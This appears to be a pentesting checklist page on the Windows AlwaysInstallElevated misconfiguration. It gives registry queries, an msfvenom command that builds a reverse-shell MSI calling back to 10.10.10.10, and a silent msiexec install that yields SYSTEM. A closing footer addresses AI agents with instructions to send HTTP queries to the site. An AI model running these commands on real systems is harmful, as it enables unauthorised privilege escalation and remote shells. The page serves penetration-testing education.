# AlwaysInstallElevated

### Overview

**AlwaysInstallElevated** is a **Windows Installer (MSI) misconfiguration** that allows **non-administrator users** to install MSI packages with **SYSTEM privileges**.

When enabled, **any MSI file executed by a low-privileged user runs as NT AUTHORITY\SYSTEM**, resulting in **instant local privilege escalation**.

### Why this Works

Windows Installer checks **two registry keys** to decide whether MSI packages should be installed with elevated privileges:

* One **machine-wide**
* One **user-specific**

If **both are enabled**, Windows **blindly trusts** the MSI and installs it as SYSTEM — **without prompting for admin credentials**.

### Prerequisites

1. Both of these must be set to `1`:

   ```
   HKLM\Software\Policies\Microsoft\Windows\Installer
   HKCU\Software\Policies\Microsoft\Windows\Installer
   ```
2. Local Low-Privileged Access
3. Ability to Execute MSI Files(`msiexec` must be present)

### Steps

1. Query the registry for AlwaysInstallElevated keys and check if they are equal to 1.

   ```bash
   reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
   reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
   ```
2. Create Malicious MSI Payload and transfer it to the target.

   ```bash
   msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi
   ```
3. Execute MSI as Low-Privileged User

   ```bash
   msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
   ```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gokulkarthik.gitbook.io/pentesting-checklist/windows-and-active-directory/windows-privilege-escalation/registry/alwaysinstallelevated.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
